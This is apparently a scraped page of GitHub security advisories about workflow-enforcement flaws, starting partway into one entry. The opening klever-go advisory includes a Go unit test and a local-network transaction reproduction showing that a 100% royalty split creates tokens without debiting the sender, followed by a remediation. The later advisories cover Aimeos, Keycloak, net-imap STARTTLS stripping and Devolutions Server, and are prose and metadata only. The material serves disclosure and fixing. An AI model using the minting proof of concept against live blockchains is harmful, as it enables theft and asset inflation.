int64(800)\n\t\troyaltyRatePct = uint32(500) // 5%\n\t\troyaltyAmount  = int64(40)   // 800 * 5% = 40\n\t)\n\n\tassetID := []byte(assetIDStr)\n\n\t// 32-byte, non-zero-prefixed =\u003e not a smart-contract address, so the royalty\n\t// path is not short-circuited by core.IsSmartContractAddress.\n\tsenderAddr := bytes.Repeat([]byte{0x11}, 32)\n\t// Split recipient address must be a valid hex string (computeSplitRoyalties\n\t// hex-decodes the map key).\n\trecipientAddr := bytes.Repeat([]byte{0x22}, 32)\n\trecipientKey := hex.EncodeToString(recipientAddr)\n\troyaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)\n\n\tbuildKDA := func(splitPercent uint32) *kapps.KDAData {\n\t\treturn \u0026kapps.KDAData{\n\t\t\tAssetType:    kapps.KDAData_Fungible,\n\t\t\tOwnerAddress: senderAddr,\n\t\t\tRoyalties: \u0026kapps.RoyaltiesData{\n\t\t\t\tAddress: royaltyReceiverAddr,\n\t\t\t\tTransferPercentage: []*kapps.RoyaltyData{\n\t\t\t\t\t{Amount: 1000, Percentage: royaltyRatePct},\n\t\t\t\t},\n\t\t\t\tSplitRoyalties: map[string]*kapps.RoyaltySplitData{\n\t\t\t\t\trecipientKey: {PercentTransferPercentage: splitPercent},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\n\ttype runResult struct {\n\t\tsubFromCalls    int\n\t\tsubFromAmount   int64\n\t\taddToRecipient  int64\n\t\taddToOwnerRem   int64\n\t\tresCode         transaction.Transaction_TXResultCode\n\t\terr             error\n\t}\n\n\trun := func(t *testing.T, splitPercent uint32) runResult {\n\t\tt.Helper()\n\n\t\tres := runResult{}\n\n\t\t// Sender: track whether/what the royalty debit hits. Holds plenty of the asset.\n\t\tacntSrc := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return senderAddr },\n\t\t\tGetBalanceCalled:   func(_ []byte, _ bool) int64 { return 1_000_000 },\n\t\t\tSubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.subFromCalls++\n\t\t\t\tres.subFromAmount += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\t// Destination is irrelevant to the royalty pool accounting here.\n\t\tacntDst := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return royaltyReceiverAddr },\n\t\t}\n\n\t\t// Split recipient: capture the credit it receives.\n\t\tsplitRecipient := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return recipientAddr },\n\t\t\tAddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.addToRecipient += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\t// Owner-remainder receiver (only credited when the path does NOT early-return).\n\t\troyaltyReceiver := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return royaltyReceiverAddr },\n\t\t\tAddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.addToOwnerRem += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\tcacher := \u0026commonMock.AccountsCacherStub{\n\t\t\tLoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {\n\t\t\t\tif bytes.Equal(address, recipientAddr) {\n\t\t\t\t\treturn splitRecipient, nil\n\t\t\t\t}\n\t\t\t\tif bytes.Equal(address, royaltyReceiverAddr) {\n\t\t\t\t\treturn royaltyReceiver, nil\n\t\t\t\t}\n\t\t\t\treturn acntSrc, nil\n\t\t\t},\n\t\t\tGetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {\n\t\t\t\treturn royaltyReceiver, nil\n\t\t\t},\n\t\t\tUpdateUserCalled: func(_ state.AccountHandler) error { return nil },\n\t\t}\n\n\t\t// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts\n\t\t// (overflow-checked percentage math), and FixMarketBuyOverflow so the\n\t\t// fix-branch payout guard `splitToPay \u003e royaltiesToPay` is ACTIVE.\n\t\tfc := \u0026integrationMock.ForkControllerStub{\n\t\t\tKdaFprCalled:               func() bool { return true },\n\t\t\tEnableSmartContractsCalled: func() bool { return true },\n\t\t\tFixMarketBuyOverflowCalled: func() bool { return true },\n\t\t}\n\n\t\tkappController := \u0026kvmStub.KAppControllerStub{\n\t\t\tGetCurrentKAppContextCalled: func() kapp.KappContext {\n\t\t\t\treturn kapp.NewKappContext(kapp.ArgsNewKAppContext{\n\t\t\t\t\tOriginalSender: senderAddr,\n\t\t\t\t\tContractID:     0,\n\t\t\t\t\tContractType:   transaction.TXContract_TransferContractType,\n\t\t\t\t\tBlock:          \u0026block.Block{},\n\t\t\t\t})\n\t\t\t},\n\t\t}\n\n\t\ta := \u0026accountsKapp{\n\t\t\taccountsCacher: cacher,\n\t\t\tforkController: fc,\n\t\t\tKAppController: kappController,\n\t\t}\n\n\t\ttc := \u0026transaction.TransferContract{\n\t\t\tAmount:       transferValue,\n\t\t\tKDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)\n\t\t}\n\n\t\tkda := buildKDA(splitPercent)\n\n\t\tres.resCode, res.err = a.processPercentageRoyaltiesTransfer(\n\t\t\ttc, assetID, nil, acntSrc, acntDst, kda,\n\t\t)\n\t\treturn res\n\t}\n\n\t// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----\n\tt.Run(\"split_100pct_mints\", func(t *testing.T) {\n\t\tr := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config\n\n\t\trequire.NoError(t, r.err)\n\t\trequire.Equal(t, transaction.Transaction_Ok, r.resCode)\n\n\t\tcredited := r.addToRecipient\n\t\tdebited := r.subFromAmount\n\t\tmintDelta := credited - debited\n\n\t\tt.Logf(\"[100%% case] split recipient credited (AddToBalance) = %d\", credited)\n\t\tt.Logf(\"[100%% case] sender royalty-debit calls (SubFromBalance) = %d\", r.subFromCalls)\n\t\tt.Logf(\"[100%% case] sender royalty amount debited            = %d\", debited)\n\t\tt.Logf(\"[100%% case] owner-remainder credited                 = %d\", r.addToOwnerRem)\n\t\tt.Logf(\"[100%% case] MINT delta (credited - debited)          = %d\", mintDelta)\n\n\t\t// (1) split recipient WAS credited the full royaltyAmount (\u003e 0).\n\t\trequire.Equal(t, royaltyAmount, credited,\n\t\t\t\"split recipient must receive the full royalty pool\")\n\t\trequire.Greater(t, credited, int64(0))\n\n\t\t// (2) the sender\u0027s royalty debit was NEVER called -\u003e value created.\n\t\trequire.Equal(t, 0, r.subFromCalls,\n\t\t\t\"BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the \u003c=0 early-return\")\n\t\trequire.Equal(t, int64(0), debited)\n\n\t\t// credited \u003e debited =\u003e mint of royaltyAmount.\n\t\trequire.Equal(t, royaltyAmount, mintDelta,\n\t\t\t\"fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)\",\n\t\t\tmintDelta, assetIDStr)\n\t})\n\n\t// ---- 50% split contrast: NO early-return, sender IS debited -\u003e conserved. ----\n\tt.Run(\"split_50pct_conserves\", func(t *testing.T) {\n\t\tr := run(t, core.HundredPercent/2) // 5000 == 50%\n\n\t\trequire.NoError(t, r.err)\n\t\trequire.Equal(t, transaction.Transaction_Ok, r.resCode)\n\n\t\tcredited := r.addToRecipient + r.addToOwnerRem\n\t\tdebited := r.subFromAmount\n\n\t\tt.Logf(\"[50%% case] split recipient credited      = %d\", r.addToRecipient)\n\t\tt.Logf(\"[50%% case] owner-remainder credited       = %d\", r.addToOwnerRem)\n\t\tt.Logf(\"[50%% case] total credited                 = %d\", credited)\n\t\tt.Logf(\"[50%% case] sender royalty-debit calls      = %d\", r.subFromCalls)\n\t\tt.Logf(\"[50%% case] sender royalty amount debited   = %d\", debited)\n\t\tt.Logf(\"[50%% case] net (credited - debited)        = %d (0 =\u003e conserved)\", credited-debited)\n\n\t\t// Sender IS debited the full royalty pool exactly once.\n\t\trequire.Equal(t, 1, r.subFromCalls,\n\t\t\t\"sibling path: at \u003c100%% the early-return does NOT fire, so the sender royalty debit runs\")\n\t\trequire.Equal(t, royaltyAmount, debited)\n\n\t\t// Split (20) + owner remainder (20) == debited (40): value conserved.\n\t\trequire.Equal(t, royaltyAmount/2, r.addToRecipient)\n\t\trequire.Equal(t, royaltyAmount/2, r.addToOwnerRem)\n\t\trequire.Equal(t, debited, credited, \"50%% case conserves: total credited == debited\")\n\t})\n}\n```\n\u003c/details\u003e\n\n### On-chain reproduction (live single-node localnet)\nAsset `F07-3NG3` was created with a 10% transfer royalty (`percentage: 1000`) and a single 100% split\n(`percentTransferPercentage: 10000`) to address `R` (`klv1qeh4py4\u2026qcv2xjm`). A transfer of `100,000,000,000` units\n(with `kdaRoyalties = 10,000,000,000`, i.e. the 10% pool) then produced **two** credit receipts: the recipient gets\nthe `100,000,000,000` transfer, and `R` is credited the **`10,000,000,000`** royalty \u2014 while the sender was debited\nonly the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.\n\n\u003cdetails\u003e\u003csummary\u003eCreate tx \u2014 \u003ccode\u003eF07-3NG3\u003c/code\u003e, 10% transfer royalty + single 100% split to \u003ccode\u003eR\u003c/code\u003e (hash \u003ccode\u003eec2a8e8d\u2026af12bc7f\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f\",\n    \"blockNum\": 104,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"contract\": [\n        {\n            \"type\": 1,\n            \"typeString\": \"CreateAssetContractType\",\n            \"parameter\": {\n                \"type\": \"Fungible\",\n                \"name\": \"Finding07\",\n                \"ticker\": \"F07\",\n                \"precision\": 6,\n                \"initialSupply\": 1000000000000,\n                \"maxSupply\": 0,\n                \"royalties\": {\n                    \"address\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n                    \"transferPercentage\": [\n                        { \"percentage\": 1000 }\n                    ],\n                    \"splitRoyalties\": [\n                        {\n                            \"address\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n                            \"percentTransferPercentage\": 10000\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\u003csummary\u003eTransfer tx \u2014 royalty pool 10,000,000,000 credited to \u003ccode\u003eR\u003c/code\u003e with no source debit (hash \u003ccode\u003e37527757\u2026bf3706b1\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1\",\n    \"blockNum\": 120,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F07-3NG3\",\n            \"from\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"to\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 10000000000\n        },\n        {\n            \"assetId\": \"F07-3NG3\",\n            \"from\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"to\": \"klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 100000000000\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 0,\n            \"typeString\": \"TransferContractType\",\n            \"parameter\": {\n                \"assetId\": \"F07-3NG3\",\n                \"toAddress\": \"klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa\",\n                \"amount\": 100000000000,\n                \"kdaRoyalties\": 10000000000\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n## Remediation\nReorder so the royalty pool is debited from the sender **before** the split distribution, mirroring\n`processFixedRoyaltiesTransfer`:\n```go\nerr := acntSrc.SubFromBalance(royaltyAmount, assetID, ...)   // debit FIRST\n// ... then the split loop and `if royaltiesToPay \u003c= 0 { return Ok }` (now only skips a zero owner-remainder)\n```\nAdd the unit test above as a regression guard. Consensus-affecting \u2192 gate behind the next activation flag.",
  "id": "GHSA-v358-wf77-39xv",
  "modified": "2026-08-28T20:27:44Z",
  "published": "2026-08-28T20:27:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-v358-wf77-39xv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits"
}

GHSA-V4G2-CM5V-CXV7

Vulnerability from github – Published: 2024-06-05 13:30 – Updated: 2024-06-11 20:58
VLAI
Summary
Digital products download without proper payment status check
Details

Impact

Digital downloads sold in online shops can be downloaded without valid payment, e.g. if the payment didn't succeed.

Patches

New versions for the Aimeos HTML client 2020-2024 are available

Severity
5.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2024.04.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "aimeos/ai-client-html"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2024.04.1"
            },
            {
              "fixed": "2024.04.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "aimeos/ai-client-html"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2023.04.1"
            },
            {
              "fixed": "2023.10.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "aimeos/ai-client-html"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2022.04.1"
            },
            {
              "fixed": "2022.10.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "aimeos/ai-client-html"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2021.04.1"
            },
            {
              "fixed": "2021.10.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "aimeos/ai-client-html"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2020.04.1"
            },
            {
              "fixed": "2020.10.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-37296"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-841"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-05T13:30:55Z",
    "nvd_published_at": "2024-06-11T15:16:09Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nDigital downloads sold in online shops can be downloaded without valid payment, e.g. if the payment didn\u0027t succeed.\n\n### Patches\nNew versions for the Aimeos HTML client 2020-2024 are available\n",
  "id": "GHSA-v4g2-cm5v-cxv7",
  "modified": "2024-06-11T20:58:10Z",
  "published": "2024-06-05T13:30:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aimeos/ai-client-html/security/advisories/GHSA-v4g2-cm5v-cxv7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37296"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aimeos/ai-client-html/commit/12d8aad1a373bf9d350872501adec3e222164f83"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aimeos/ai-client-html/commit/5a7249769142b3ce70959ab1fb70c7e7c251e214"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aimeos/ai-client-html/commit/6460ffe8f4929d864164aa96c5b49eca5326d975"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aimeos/ai-client-html/commit/7f01d2f4fbc67f5231fd84adeb835d28252b8409"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aimeos/ai-client-html/commit/fc611ff9a57e421d0ad9d99346b561cea515c5f0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aimeos/ai-client-html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Digital products download without proper payment status check"
}

GHSA-V7M3-VPQR-6M6P

Vulnerability from github – Published: 2026-07-17 18:31 – Updated: 2026-07-17 18:31
VLAI
Details

A flaw was found in the keycloak-services component of Keycloak. This issue is an incomplete fix for CVE-2026-9798, where brute-force protection checks were added to the Client-Initiated Backchannel Authentication (CIBA) initiation handler but were omitted from the token redemption handler. This allows an attacker with valid client credentials to obtain access and refresh tokens for a user account that has been locked due to brute-force protection, provided the authentication request was started before the lockout occurred and was approved by the user.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-16103"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-305",
      "CWE-841"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T17:17:14Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the keycloak-services component of Keycloak. This issue is an incomplete fix for CVE-2026-9798, where brute-force protection checks were added to the Client-Initiated Backchannel Authentication (CIBA) initiation handler but were omitted from the token redemption handler. This allows an attacker with valid client credentials to obtain access and refresh tokens for a user account that has been locked due to brute-force protection, provided the authentication request was started before the lockout occurred and was approved by the user.",
  "id": "GHSA-v7m3-vpqr-6m6p",
  "modified": "2026-07-17T18:31:26Z",
  "published": "2026-07-17T18:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16103"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-16103"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2501736"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VCGP-9326-PQCP

Vulnerability from github – Published: 2026-05-04 22:01 – Updated: 2026-05-14 20:48
VLAI
Summary
net-imap vulnerable to STARTTLS stripping via invalid response timing
Details

Summary

A man-in-the-middle attacker can cause Net::IMAP#starttls to return "successfully", without starting TLS.

Details

When using Net::IMAP#starttls to upgrade a plaintext connection to use TLS, a man-in-the-middle attacker can inject a tagged OK response with an easily predictable tag. By sending the response before the client finishes sending the command, the command completes "successfully" before the response handler is registered. This allows #starttls to return without error, but the response handler is never invoked, the TLS connection is never established, and the socket remains unencrypted.

This allows man-in-the-middle attackers to perform a STARTTLS stripping attack, unless the client code explicitly checks Net::IMAP#tls_verified?.

Impact

TLS bypass, leading to cleartext transmission of sensitive information.

Mitigation

  • Upgrade to a patched version of net-imap that raises an exception whenever #starttls does not establish TLS.
  • Connect to an implicit TLS port, rather than use STARTTLS with a cleartext port. This is strongly recommended anyway:
  • RFC 8314: Cleartext Considered Obsolete: Use of Transport Layer Security (TLS) for Email Submission and Access
  • NO STARTTLS: Why TLS is better without STARTTLS, A Security Analysis of STARTTLS in the Email Context
  • Explicitly verify Net::IMAP#tls_verified? is true, before using the connection after #starttls.
Severity
7.6 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.3"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.0"
            },
            {
              "fixed": "0.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.13"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0"
            },
            {
              "fixed": "0.5.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.23"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0"
            },
            {
              "fixed": "0.4.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.3.9"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42246"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-392",
      "CWE-393",
      "CWE-636",
      "CWE-754",
      "CWE-841"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T22:01:52Z",
    "nvd_published_at": "2026-05-09T20:16:28Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA man-in-the-middle attacker can cause `Net::IMAP#starttls` to return \"successfully\", without starting TLS.\n\n### Details\n\nWhen using `Net::IMAP#starttls` to upgrade a plaintext connection to use TLS, a man-in-the-middle attacker can inject a tagged `OK` response with an easily predictable tag.  By sending the response before the client finishes sending the command, the command completes \"successfully\" before the response handler is registered.  This allows `#starttls` to return without error, but the response handler is never invoked, the TLS connection is never established, and the socket remains unencrypted.\n\nThis allows man-in-the-middle attackers to perform a STARTTLS stripping attack, unless the client code explicitly checks `Net::IMAP#tls_verified?`.\n\n### Impact\n\nTLS bypass, leading to cleartext transmission of sensitive information.\n\n### Mitigation\n\n* Upgrade to a patched version of net-imap that raises an exception whenever `#starttls` does not establish TLS.\n* Connect to an implicit TLS port, rather than use `STARTTLS` with a cleartext port.\n  This is strongly recommended anyway:\n  * [RFC 8314](https://www.rfc-editor.org/info/rfc8314): Cleartext Considered Obsolete: Use of Transport Layer Security (TLS) for Email Submission and Access\n  * [NO STARTTLS](https://nostarttls.secvuln.info/): Why TLS is better without STARTTLS, A Security Analysis of STARTTLS in the Email Context\n* Explicitly verify `Net::IMAP#tls_verified?` is `true`, before using the connection after `#starttls`.",
  "id": "GHSA-vcgp-9326-pqcp",
  "modified": "2026-05-14T20:48:01Z",
  "published": "2026-05-04T22:01:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/security/advisories/GHSA-vcgp-9326-pqcp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42246"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/0ede4c40b1523dfeaf95777b2678e54cc0fd9618"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/24a4e770b43230286a05aa2a9746cdbb3eb8485e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/97e2488fb5401a1783bddd959dde007d9fbce42c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/f79d35bf5833f186e81044c57c843eda30c873da"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby/net-imap"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/releases/tag/v0.3.10"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/releases/tag/v0.4.24"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/releases/tag/v0.5.14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2026-42246.yml"
    },
    {
      "type": "WEB",
      "url": "https://nostarttls.secvuln.info"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/info/rfc8314"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "net-imap vulnerable to STARTTLS stripping via invalid response timing"
}

GHSA-VHVQ-JH34-3FC8

Vulnerability from github – Published: 2023-01-13 06:30 – Updated: 2023-07-18 18:16
Withdrawn 2023-07-18 VLAI
Summary
Duplicate Advisory: Keycloak allows impersonation and lockout due to email trust not being handled correctly
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-c7xw-p58w-h6fj. This link is maintained to preserve external references.

Original Description

A flaw was found in Keycloak. This flaw allows impersonation and lockout due to the email trust not being handled correctly in Keycloak. An attacker can shadow other users with the same email and lockout or impersonate them.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "20.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-841"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-13T21:29:30Z",
    "nvd_published_at": "2023-01-13T06:15:00Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-c7xw-p58w-h6fj. This link is maintained to preserve external references. \n\n## Original Description\nA flaw was found in Keycloak. This flaw allows impersonation and lockout due to the email trust not being handled correctly in Keycloak. An attacker can shadow other users with the same email and lockout or impersonate them.",
  "id": "GHSA-vhvq-jh34-3fc8",
  "modified": "2023-07-18T18:16:45Z",
  "published": "2023-01-13T06:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0105"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2023-0105"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2158910"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keycloak/keycloak"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: Keycloak allows impersonation and lockout due to email trust not being handled correctly",
  "withdrawn": "2023-07-18T18:08:56Z"
}

GHSA-VP8V-33P7-8977

Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-05-26 13:30
VLAI
Details

Improper enforcement of the sealed-entry workflow in the entry sensitive-data retrieval feature in Devolutions Server allows an authenticated user with access to a sealed entry to retrieve its sensitive data without triggering the unseal audit notification via a crafted API request.

This issue affects :

  • Devolutions Server 2026.1.6.0 through 2026.1.16.0
  • Devolutions Server 2025.3.20.0 and earlier
Severity
2.7 (Low)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-8477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-841"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-22T16:16:22Z",
    "severity": "LOW"
  },
  "details": "Improper enforcement of the sealed-entry workflow in the entry sensitive-data retrieval feature in Devolutions Server allows an authenticated user with access to a sealed entry to retrieve its sensitive data without triggering the unseal audit notification via a crafted API request.\n\nThis issue affects :\n\n  *  Devolutions Server 2026.1.6.0 through 2026.1.16.0\n  *  Devolutions Server 2025.3.20.0 and earlier",
  "id": "GHSA-vp8v-33p7-8977",
  "modified": "2026-05-26T13:30:18Z",
  "published": "2026-05-26T13:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8477"
    },
    {
      "type": "WEB",
      "url": "https://devolutions.net/security/advisories/DEVO-2026-0013"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W34H-M55R-2CF4

Vulnerability from github – Published: 2026-09-09 03:30 – Updated: 2026-09-10 18:31
VLAI
Details

